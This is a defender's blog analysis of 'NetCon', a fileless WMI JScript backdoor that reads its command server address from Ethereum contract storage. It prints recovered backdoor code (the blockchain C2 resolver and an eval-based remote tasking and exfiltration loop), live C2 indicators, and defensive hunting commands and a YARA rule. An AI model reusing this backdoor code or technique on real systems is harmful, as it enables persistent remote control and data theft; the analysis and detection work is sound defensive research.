No File, No Fixed C2: Inside NetCon, a WMI Backdoor That Reads Its Command Server Off the Blockchain
A JScript backdoor persists as a WMI ActiveScriptEventConsumer with no file on disk, resolving its C2 address by reading Ethereum smart-contract storage.
The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.
TL;DR
A backdoor calling itself “NetCon” persists as a WMI
ActiveScriptEventConsumer- no file on disk, no scheduled task, nothing for AV to hash. When it fires, it resolves its command-and-control address by reading storage slot 0 of an Ethereum smart contract (EtherHiding), then polls a hex-encoded, RC4-keyed-by-its-own-UUID tasking channel andeval()s whatever comes back. Reading the operator’s wallet on-chain exposed a 13-month, 8-domain C2 rotation history, including one contract hijacked by an anti-EtherHiding “vigilante” bot. Current resolved C2:letsmefindyoudream[.]com(45.32.162[.]181).If this is your fleet, do these first:
- Run
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumerfleet-wide and read everyScriptTextby hand - commands below.- Ingest Sysmon Event IDs 19, 20, 21 (WMI filter/consumer/binding activity) or Microsoft-Windows-WMI-Activity/Operational Event ID 5861 if you aren’t already.
- Alert on any
eth_getStorageAt/eth_callJSON-RPC POST to a public blockchain RPC provider from a non-browser process - near-zero false positives.Full IOCs and detection rules are at the bottom.
We keep finding these, and I don’t think that’s a coincidence
I’ve reviewed a run of intrusions lately where the persistence mechanism wasn’t a scheduled task, wasn’t a run key, wasn’t a shortcut in the Startup folder. It was a WMI event subscription - three small objects sitting in the WMI repository, doing exactly what a scheduled task does, without anything most triage checklists actually look at. If your standard “check Autoruns and scheduled tasks” pass doesn’t include root\subscription, you’ve got a blind spot, and this post is the argument for closing it.
The sample I want to walk through is a JScript backdoor calling itself “NetCon.” The code isn’t sophisticated - plaintext, unobfuscated, with a logic bug in its retry handling that makes it less resilient than it was clearly meant to be. What earns it a full post is the combination: a persistence mechanism most defenders aren’t hunting for, wired to a C2 channel that isn’t hosted anywhere you can take down, because the address lives on a public blockchain.
So this covers both halves: what WMI event consumers are, the code and how it resolves C2 and runs tasking, the 13-month infrastructure history behind it, and how to hunt it down and pull it out cleanly.
Defender quick reference
| Field | Details |
|---|---|
| Activity type | Fileless persistence (WMI script consumer) + blockchain-resolved C2 + interactive RCE |
| Primary artifacts | WMI consumer NetCon (ActiveScriptEventConsumer, root\subscription), bot UUID 15aee2fa-27bc-4322-942c-144f35dc7bda, hxxps://letsmefindyoudream[.]com |
| Verdict | Malicious |
| Confidence | High - the script is plaintext and every capability claim traces to complete, unambiguous code; the C2 resolution chain was independently re-verified live during analysis |
| Key logs | Sysmon 19/20/21, WMI-Activity/Operational 5861, proxy/DNS, process creation (4688) |
| ATT&CK | T1546.003, T1059.007, T1036.005, T1102.001, T1573.001, T1140, T1041 |
| First defender actions | Enumerate root\subscription fleet-wide; capture ScriptText, filter query, and binding details before deleting anything; block the resolved C2 IP/domain (see caveat below) |
| Detection opportunities | Sysmon 19/20/21; WMI-Activity 5861; YARA on ScriptText/MOF exports (below); any eth_getStorageAt/eth_call from a non-browser process |
| False-positive notes | Legitimate ActiveScriptEventConsumer usage is rare outside specific management/monitoring tooling - anything unattributed in root\subscription is worth investigating |
The attack at a glance
- Persistence setup - three permanent WMI objects get registered: an
__EventFilter(trigger), an__EventConsumer(payload), and a__FilterToConsumerBinding(the wire between them). Here the consumer is anActiveScriptEventConsumernamed “NetCon” running JScript. - Trigger - whatever the filter’s WQL query watches for fires (logon, timer, process start - not recovered in this record).
- Execution - WMI hands the
ScriptTextstraight to the scripting engine, in-process, underscrcons.exe. No new process, no file on disk. - C2 resolution (EtherHiding) - the script reads storage slot 0 of an Ethereum smart contract via a public JSON-RPC call and decodes the current C2 hostname.
- Tasking loop - it POSTs its bot UUID to the resolved host, RC4-decrypts the hex-encoded response using that same UUID as the key, and
eval()s the result. - Exfiltration - whatever
eval()returns (or throws) is POSTed back to the C2, and the loop repeats with no local sleep.
An interactive remote-code-execution channel, surviving reboots, that never touches disk and has no fixed address to block.
How it works
The filter / consumer / binding triad
WMI event subscriptions are built from three permanent objects, all stored in the WMI repository - not the filesystem, not the registry in the way you’d normally think about persistence:
__EventFilter- a WQL query describing the trigger condition: “notify me whenexplorer.exestarts” or “notify me every 300 seconds.”__EventConsumer- what happens when the filter fires. This is an abstract base class; the concrete subclass in play matters a lot.__FilterToConsumerBinding- wires a filter to a consumer. Without it, a filter and consumer can both exist and do precisely nothing.
All three need to exist together for the subscription to be live - “no orphaned bindings” is a clean, checkable invariant, and I’ll come back to it in the hunting section.
Script consumers vs. command-line consumers
Two __EventConsumer subclasses matter for offensive use.
CommandLineEventConsumer spawns an external process - a binary, a batch file, a PowerShell one-liner - exactly like a scheduled task would. Flexible, but it leaves the artefacts you already hunt for: process creation (Sysmon 1 / Event ID 4688), an inspectable command line, usually a file on disk.
ActiveScriptEventConsumer is the one to worry about. It hands a block of VBScript or JScript directly to the Windows Script Host engine, running inside scrcons.exe, with no separate process creation for the payload and no script file written to disk. The entire logic lives as a string property (ScriptText) inside the WMI repository. Nothing to hash, nothing to sandbox, nothing for a file-integrity monitor to flag.
NetCon is exactly this: an ActiveScriptEventConsumer named “NetCon”, script_engine: JScript, no backing binary. The recovered record’s file_info shows "error": "empty command" with no create/modify timestamps, because there was never a file to timestamp. This is the same family of trick as living-off-the-land binary abuse more broadly - scrcons.exe/WmiPrvSE.exe are trusted, signed Windows components, and laundering execution through them is exactly why LOLBin-style parent-process patterns deserve scrutiny even when nothing looks wrong on the surface.
The C2 resolution: EtherHiding
Here’s the load-bearing trick. NetCon doesn’t hardcode a C2 hostname anywhere - it reads one out of Ethereum smart-contract storage at runtime, via a plain, legitimate JSON-RPC call:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function f()
{
var b = '{"jsonrpc": "2.0", "method": "eth_getStorageAt", "id": 1, ' +
'"params": ["0xDB856D538374Bc1d9D8e8a2f3db0519B7d4677AD", "0", "latest"]}';
xhr.open("POST", "hxxps://ethereum[.]publicnode[.]com", false);
xhr.send(b);
// Response: {"result":"0x<64 hex chars, null-padded ASCII string>"}
var o = xhr.responseText.substring(xhr.responseText.indexOf("0x"));
var r = "";
for (var i = 2; i < o.length; i += 2) {
var chr = String.fromCharCode(parseInt(o.substring(i, i + 2), 16));
if (chr == 0) break; // Solidity short-string is null-padded
r += chr;
}
return r; // -> C2 hostname
}
eth_getStorageAt is an ordinary, read-only call against a public RPC provider - the kind any wallet or dApp makes constantly. There’s nothing to flag as malicious traffic on its own; the anomaly is who’s making the call. I replicated this exact request during analysis and it resolved to letsmefindyoudream[.]com - live infrastructure, current as of this writing.
This is EtherHiding: storing a C2 address inside blockchain storage instead of DNS. Because the resolver is a read against decentralised, effectively unstoppable infrastructure, the operator only has to update one on-chain value to repoint every deployed implant at once - blocking the resolved domain or IP does nothing to the resolution mechanism itself.
The tasking loop, RC4, and a self-defeating retry bug
Once it has a C2 address, NetCon polls it, decrypts whatever comes back, and runs it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var uuid = "15aee2fa-27bc-4322-942c-144f35dc7bda";
function p(ip) {
try {
xhr.open("POST", "hxxps://" + ip + "/signin?e=1", false);
xhr.send(uuid); // bot ID sent in the clear
} catch (e) { return fails-- > 0; }
var o1 = xhr.responseText; // hex-encoded RC4 ciphertext
var c1 = xhr.getResponseHeader("X-Callback-Id");
var res = [];
for (var i = 0; i < o1.length; i += 2) res.push(parseInt(o1.substring(i, i + 2), 16));
var dec = r(uuid, res); // RC4-decrypt, key = the SAME uuid
var out = "", err = "";
try { out = eval(dec); } // arbitrary remote code execution
catch (e) { err = e.message; }
if (c1) {
xhr.open("POST", "hxxps://" + ip + "/clb?uuid=" + uuid + "&cid=" + c1 + "&err=" + (!!err), false);
xhr.send(err ? err : out); // exfil result or error message
}
return false;
}
var ip = f();
while (true) { if (p(ip)) break; }
The bot’s UUID does double duty: sent in the clear as the check-in identifier and reused as the RC4 decryption key for the tasking response. Genuinely useful for a defender - capture one plaintext check-in over the wire and you have everything needed to decrypt that implant’s tasking traffic, no key recovery required.
One quirk worth a dry laugh: the error handler is catch(e){return fails-- > 0;}. fails starts at 5, and the postfix operator evaluates before decrementing - so on the very first network exception, 5 > 0 is true, and the outer while loop breaks immediately. The variable name suggests “retry up to 5 times before giving up.” What it actually does is give up on the first hiccup - this implant is less resilient to a flaky network than whoever wrote it clearly intended.
13 months, two contracts, one vigilante hijack
Reading the malware’s own logic told me how it resolves C2. Pivoting to the contract’s full on-chain history - every write to that storage slot is a public, permanent transaction - told me the entire rotation history, no passive-DNS subscription or threat-intel platform needed:
| Date (UTC) | Contract | Value written | Notes |
|---|---|---|---|
| 2025-05-26 | V1 | throwfree[.]com | First live C2 domain. No access control - setData(string) callable by anyone. |
| 2025-05-31 - 2025-06-02 | V1 | 127.0.0.1 x 3, from 3 unrelated wallets | Hijacked. Three dust-funded, single-purpose wallets independently reset the open contract - the signature of a bot that scans for this dead-drop pattern and neutralises it. |
| 2025-06-01 | V2 deployed | - | Access control added (onlyCreator) ~16 hours after the first hijack - the operator reacting in real time. |
| 2025-06-01 | V2 | throwfree[.]com | Migrated to the protected contract. |
| 2025-08-23 | V2 | mydreamcomesoon[.]com | |
| 2025-09-16 | V2 | newmydreamcome[.]com | |
| 2025-11-29 | V2 | nvpsuprotyudream[.]com | Registered 2025-09-23, banked ~2 months before use. |
| 2026-01-02 | V2 | 666dream666toyou666[.]com | |
| 2026-02-05 | V2 | 666super666crazy666[.]com | Registered 10 seconds apart from the previous domain. |
| 2026-03-09 | V2 | sjjthjthiter[.]com | |
| 2026-06-06 | V2 | letsmefindyoudream[.]com | Currently live. |
Someone else, independent of this investigation, is actively hunting for and poisoning EtherHiding dead drops on-chain. It didn’t stop the operator - it cost them 16 hours and forced an access-control fix - but it’s proof this cat-and-mouse game is already playing out in public, on a ledger anyone can read. The hosting pattern points to the same operator throughout: four of five still-resolvable IPs sit on Vultr, and four of the eight domains share a Cloudflare nameserver pair.
On attribution: EtherHiding as a technique has been publicly attributed by Google’s Threat Intelligence Group to the North Korea-linked UNC5342, active since early 2025 as part of a fake-recruiter campaign. That reporting describes a dead drop read from transaction calldata to a burn address - a different mechanism to the direct, owner-gated storage-slot read used here. The “dream”-themed domain naming is suggestive of that cluster’s job-lure theming, but that’s circumstantial on its own. I’m not attributing this campaign to UNC5342 or any named actor - the on-chain mechanics don’t match closely enough to justify it. What I can say confidently is that EtherHiding as a technique is now being reused by more than one operator: I wrote about a completely different EtherHiding campaign on a Polygon contract with a different resolution mechanism just two days before this one landed on my desk, and the two aren’t related beyond sharing the same trick.
The full chain, end to end
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Attacker / prior access
|
| registers three WMI objects (root\subscription)
v
+--------------------+ +------------------------------+
| __EventFilter | -----> | __FilterToConsumerBinding |
| WQL trigger query | | wires filter -> consumer |
+--------------------+ +---------------+----------------+
|
v
+------------------------------+
| __EventConsumer |
| ActiveScriptEventConsumer |
| ScriptText: JScript "NetCon" |
+---------------+----------------+
|
condition matches (logon / timer / process start - unconfirmed)
|
v
WMI hands ScriptText to
scrcons.exe (in-process)
|
v
Script runs. No file on disk. No new
process for the payload itself.
|
v
+---------------------------------------------+
| EtherHiding: eth_getStorageAt against |
| Ethereum contract via public RPC provider |
| -> decode null-padded ASCII -> C2 hostname |
+---------------------------+-------------------+
|
v
POST bot UUID -> /signin (tasking poll)
hex-decode -> RC4-decrypt (key = UUID)
eval() the decrypted JScript
|
v
POST result/error -> /clb (exfil)
|
v
loop, no local sleep, repeat
Every box except the last three is a permanent WMI object, not an ephemeral event - once registered, the filter/consumer/binding trio survives reboots indefinitely, same as a scheduled task, just stored somewhere fewer people check.
Techniques observed (MITRE ATT&CK)
The following techniques have been mapped to MITRE ATT&CK for future reference.
| Tactic | Technique | ATT&CK ID | What it did here |
|---|---|---|---|
| Persistence | Event Triggered Execution: WMI Event Subscription | T1546.003 | The __EventFilter/__EventConsumer/__FilterToConsumerBinding triad, consumer named “NetCon” |
| Execution | Command and Scripting Interpreter: JavaScript | T1059.007 | ActiveScriptEventConsumer running JScript via scrcons.exe; decrypted tasking executed via eval() |
| Defense Evasion | Masquerading | T1036.005 | Consumer named “NetCon” - innocuous, network-adjacent naming |
| Command and Control | Web Service | T1102.001 | C2 hostname resolved via eth_getStorageAt against an Ethereum contract, using a legitimate public RPC provider as the dead-drop channel |
| Command and Control | Encrypted Channel: Symmetric Cryptography | T1573.001 | RC4, key = the bot’s own UUID, sent in the clear in the same request |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | Hex-decode -> RC4-decrypt -> eval on the tasking response |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | POST of eval() output/error to /clb |
Why this matters
Strip away the blockchain novelty and this is a straightforward, durable, interactive-RCE foothold: an attacker with prior access registers three WMI objects, then pushes arbitrary JScript to the host on every trigger firing, reads the output, and leaves nothing behind for AV or a sandbox to chew on. Pair a persistence mechanism most “check Autoruns and scheduled tasks” playbooks don’t reach with a C2 channel that survives conventional domain and IP takedowns, and you have a foothold that sits quietly for a long time and resumes full control on every logon or timer tick.
I’m not going to speculate further about who’s behind this. The tradecraft - plaintext script, a retry-logic bug, no anti-analysis beyond the obfuscation of being fileless - doesn’t read as top-tier. But “not top-tier” and “effective against an environment that isn’t hunting WMI” aren’t mutually exclusive, and that gap is really the point of this post.
What defenders can do
| Technique (ATT&CK) | What to do | Essential Eight | What to hunt for |
|---|---|---|---|
| WMI Event Subscription (T1546.003) | Enumerate and baseline every __EventFilter/__EventConsumer/__FilterToConsumerBinding; remove anything unattributed | Restrict Administrative Privileges | Sysmon Event IDs 19, 20, 21; WMI-Activity/Operational Event ID 5861 |
| Script consumer execution (T1059.007) | Disable Windows Script Host fleet-wide if VBScript/JScript isn’t a business need; else application-control what scrcons.exe/WmiPrvSE.exe are allowed to run | Application Control; User Application Hardening | Any scrcons.exe/WmiPrvSE.exe process with outbound network activity |
| Masquerading (T1036.005) | Don’t trust a consumer’s name - audit ScriptText/CommandLineTemplate content directly | No clean Essential Eight home | Any consumer script referencing ActiveXObject, eval, or ExecuteGlobal combined with network I/O |
| EtherHiding C2 resolution (T1102.001) | Block/alert on public blockchain RPC calls (publicnode.com, infura.io, alchemy.com, ankr.com) from non-browser, non-wallet processes at the proxy/DNS layer | No clean Essential Eight home | eth_getStorageAt/eth_call JSON-RPC POST bodies from unexpected processes |
| Encrypted C2 channel (T1573.001) | Log SNI/JA3 on egress; treat periodic, identical-shape synchronous POSTs to a freshly-registered domain as anomalous | No clean Essential Eight home | Proxy logs: repeated POST to a domain registered in the last 30-60 days |
| Exfiltration over C2 (T1041) | Default-deny egress where practical; least-privilege on anything the implant could reach | Restrict Administrative Privileges | Outbound POSTs carrying hex/base64-shaped bodies to the tasking check-in host |
Creating a permanent WMI subscription requires local admin rights on the target, which is why I’ve put Restrict Administrative Privileges (November 2023) against T1546.003 - the same reasoning the canonical mapping applies to scheduled-task persistence (T1053.005), even though WMI event subscription isn’t separately listed there. The actual removal work is Application Control territory: scrcons.exe hosting a script engine is functionally the same problem as wscript.exe/cscript.exe running unapproved script content, so I’m extending that mapping (and the User Application Hardening angle of disabling WSH outright) to T1059.007 by the same logic - see Implementing Application Control (November 2023) and Hardening Microsoft Windows 11 Workstations (September 2025).
Masquerading and the EtherHiding/encrypted-channel pair genuinely have no clean Essential Eight home - they’re network-architecture and detection-engineering problems, not control gaps the Eight strategies were built to close. For those three, the honest answer is egress monitoring maturity and content-based detection (below) rather than a named E8 strategy. Exfiltration is the one clean canonical pairing in this table - Restrict Administrative Privileges bounds what the implant can reach in the first place.
Enumerate first - you can’t remove what you haven’t found
WMI subscriptions can live in root\subscription (standard) or occasionally root\default on older builds, so check both:
1
2
3
4
5
6
7
# All three object types, both common namespaces
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter
Get-CimInstance -Namespace root\subscription -ClassName __EventConsumer
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding
# Older systems sometimes register into root\default as well
Get-CimInstance -Namespace root\default -ClassName __EventFilter -ErrorAction SilentlyContinue
__EventConsumer is the abstract base - pull the concrete subclasses to actually read the payload:
1
2
3
4
5
6
7
# Script consumers - this is where you'd find something like NetCon
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer |
Select-Object Name, ScriptingEngine, ScriptText
# Command-line consumers - the more "traditional" flavour
Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate
Read every ScriptText/CommandLineTemplate value by hand - legitimate ActiveScriptEventConsumer usage is rare enough that this is a realistic haystack in most environments. Then confirm which filters and consumers are actually wired together - an unbound filter or consumer is inert, but a live binding is your persistence:
1
2
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding |
Select-Object Filter, Consumer
Removing a confirmed-malicious subscription
Remove the binding first, then the consumer, then the filter - order matters, because WMI won’t let a dangling binding reference a deleted object cleanly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. Remove the binding
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding |
Where-Object { $_.Consumer -like '*NetCon*' } |
Remove-CimInstance
# 2. Remove the consumer
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer |
Where-Object { $_.Name -eq 'NetCon' } |
Remove-CimInstance
# 3. Remove the filter (match by name from the binding captured in step 1)
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter |
Where-Object { $_.Name -eq '<filter name captured above>' } |
Remove-CimInstance
Do this on a host you’re actively remediating, not as a drive-by cleanup step - capture the full ScriptText, filter query, and binding details before deleting anything; that’s your evidence. If you’re not certain an object is malicious versus legitimate management tooling (SCCM, some AV/EDR agents, and various monitoring products all use WMI subscriptions legitimately), verify against a known-good baseline before deleting on a hunch.
One more thing on the C2 side: blocking letsmefindyoudream[.]com/45.32.162[.]181 does not disable the implant - the operator can update the Ethereum contract to point every deployed copy at new infrastructure at any time, as the rotation table above shows they’ve already done eight times. Network blocks buy time; the WMI object removal is what actually ends the persistence.
Hunting and detection summary
- Sysmon Event ID 19 - WmiEventFilter activity (new
__EventFilterregistered) - Sysmon Event ID 20 - WmiEventConsumer activity (new
__EventConsumerregistered) - Sysmon Event ID 21 - WmiEventConsumerToFilter activity (the binding - this one means “live”)
- Microsoft-Windows-WMI-Activity/Operational, Event ID 5861 - permanent event consumer registration, native Windows logging with no Sysmon dependency
Get-CimInstancesweep ofroot\subscription(androot\default) across the fleet, diffed against a known-good baseline- Any
eth_getStorageAt/eth_callJSON-RPC POST to a public blockchain RPC provider from a non-browser, non-wallet process - a strong, near-zero-false-positive signal for EtherHiding-style C2 generally - Any WMI-registered script content containing
ActiveXObject,eval, orExecuteGlobalcombined with network I/O, regardless of how innocuous the consumer’s name looks
If you’re not currently ingesting Sysmon 19/20/21 or WMI-Activity/Operational into your SIEM, that’s the single highest-leverage change this post can prompt.
The YARA rule, Sigma detections, KQL hunt queries, and full IOC CSV for this campaign are also available in the companion detection repo.
Indicators of Compromise
Blockchain
| Type | Value | Notes |
|---|---|---|
Operator wallet (creator, all setData calls) | 0x2344462789f70b81a3d783e0bfcb7ca996a8ce18 | |
| Dead-drop contract V1 (vulnerable, abandoned 2025-06-01) | 0x352012455737d781bEfe06bFC5825C21C290117C | No access control - publicly hijackable |
| Dead-drop contract V2 (current, access-controlled) | 0xDB856D538374Bc1d9D8e8a2f3db0519B7d4677AD | onlyCreator gate, storage slot 0 = C2 hostname |
| RPC provider abused | ethereum[.]publicnode[.]com | Legitimate public infrastructure, abused as dead-drop channel |
| JSON-RPC method (protocol fingerprint) | eth_getStorageAt | Distinctive method+param shape for this dead-drop pattern |
Network - domain rotation history (chronological)
| Domain | Status |
|---|---|
throwfree[.]com | Dead - NXDOMAIN |
mydreamcomesoon[.]com | Dead infra |
newmydreamcome[.]com | Registrar-imposed clientHold |
nvpsuprotyudream[.]com | Dead panel, still serving generic nginx |
666dream666toyou666[.]com | IP recycled to unrelated tenant |
666super666crazy666[.]com | Dead infra |
sjjthjthiter[.]com | IP recycled to unrelated tenant |
letsmefindyoudream[.]com | Currently live, TLS cert valid to 2026-08-23 |
Network - IPs
| Type | Value | Notes |
|---|---|---|
| C2 origin IP (current, A record) | 45.32.162[.]181 | Vultr |
| C2 origin IP (current, AAAA record) | 2001:19f0:9002:912:5400:6ff:fe30:32c1 | Same Vultr allocation |
| Historical hosting IP | 155.138.253[.]99 | Vultr |
| Historical hosting IP | 91.228.152[.]92 | Fornex - only non-Vultr host in the campaign |
| Historical hosting IP (recycled) | 216.128.146[.]149 | Shared by two rotation-period domains, two months apart |
| Historical hosting IP | 155.138.224[.]155 | Vultr |
Network - protocol
| Type | Value | Notes |
|---|---|---|
| C2 URI - tasking check-in | POST /signin?e=1 (body = bot UUID) | |
| C2 URI - result callback | POST /clb?uuid=<uuid>&cid=<callback-id>&err=<bool> | |
| C2 response header | X-Callback-Id | Custom protocol header, strong fingerprint for this C2 framework |
Host
| Type | Value | Notes |
|---|---|---|
| WMI consumer name | NetCon (ActiveScriptEventConsumer) | Namespace root\subscription; no backing file |
| Script engine | JScript | Via scrcons.exe |
Code / attribution
| Type | Value | Notes |
|---|---|---|
| Bot ID / RC4 key | 15aee2fa-27bc-4322-942c-144f35dc7bda | Sent in cleartext as the /signin POST body and reused as the RC4 decryption key |
| SHA256 (script content) | 59e9efb252e12a8c634b126aa5d49e38b5137e03110b4327974852d3f4872541 | Hash of the recovered ScriptText |
| MD5 (script content) | b3a047db133eb92626d44842c878d876 |
Detection rules
rule WMI_NetCon_EtherHiding_JScript_Backdoor
{
meta:
description = "Fileless WMI ActiveScriptEventConsumer JScript backdoor resolving C2 via Ethereum smart-contract storage (EtherHiding), RC4-decrypting tasking, and eval()-executing it"
date = "2026-07-10"
author = "blueteam.cool"
strings:
$consumer_name = "NetCon" ascii wide
$eth_method = "eth_getStorageAt" ascii
$rpc_endpoint = "ethereum.publicnode.com" ascii
$signin_path = "/signin?e=1" ascii
$clb_path = "/clb?uuid=" ascii
$callback_hdr = "X-Callback-Id" ascii
$rc4_ksa = "for(i=0;i<256;i++)s[i]=i" ascii
$xhr_obj = "Msxml2.ServerXMLHTTP.6.0" ascii wide
$uuid_sample = "15aee2fa-27bc-4322-942c-144f35dc7bda" ascii
condition:
3 of ($eth_method, $rpc_endpoint, $signin_path, $clb_path, $callback_hdr, $rc4_ksa, $xhr_obj)
or $uuid_sample
}
Additional hunt pivots:
- Any WMI
ActiveScriptEventConsumerwith no backing binary/file - enumerateroot\subscriptionon all hosts, not just one. - Outbound HTTPS POST to
ethereum[.]publicnode[.]com(or any public blockchain RPC endpoint) fromscrcons.exe/WmiPrvSE.exe- legitimate WMI hosts have no business calling blockchain RPC providers. - Outbound connections to the IPs/domains in the table above.
- Any
eth_call/eth_getStorageAtJSON-RPC body originating from a non-browser, non-crypto-wallet process - a general-purpose EtherHiding detection signal, independent of this specific campaign.
Closing
WMI event subscriptions have been documented tradecraft for the better part of a decade, and EtherHiding has had public reporting for a while too. What struck me putting this together was the gap between “these are both known techniques” and “our tooling actually looks for either of them.” A three-line Get-CimInstance sweep and one proxy rule for public blockchain RPC calls from the wrong processes close a persistence-and-C2 combination a lot of environments are currently blind to.
Go check root\subscription on something. You might be surprised what’s living there.
Stay curious.
On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.
References
- MITRE ATT&CK - T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription
- MITRE ATT&CK - T1102.001: Web Service: Dead Drop Resolver
- MITRE ATT&CK - T1573.001: Encrypted Channel: Symmetric Cryptography
- ASD/ACSC - Restricting Administrative Privileges (November 2023)
- ASD/ACSC - Implementing Application Control (November 2023)
- ASD Essential Eight overview - https://www.cyber.gov.au/business-government/asds-cyber-security-frameworks/essential-eight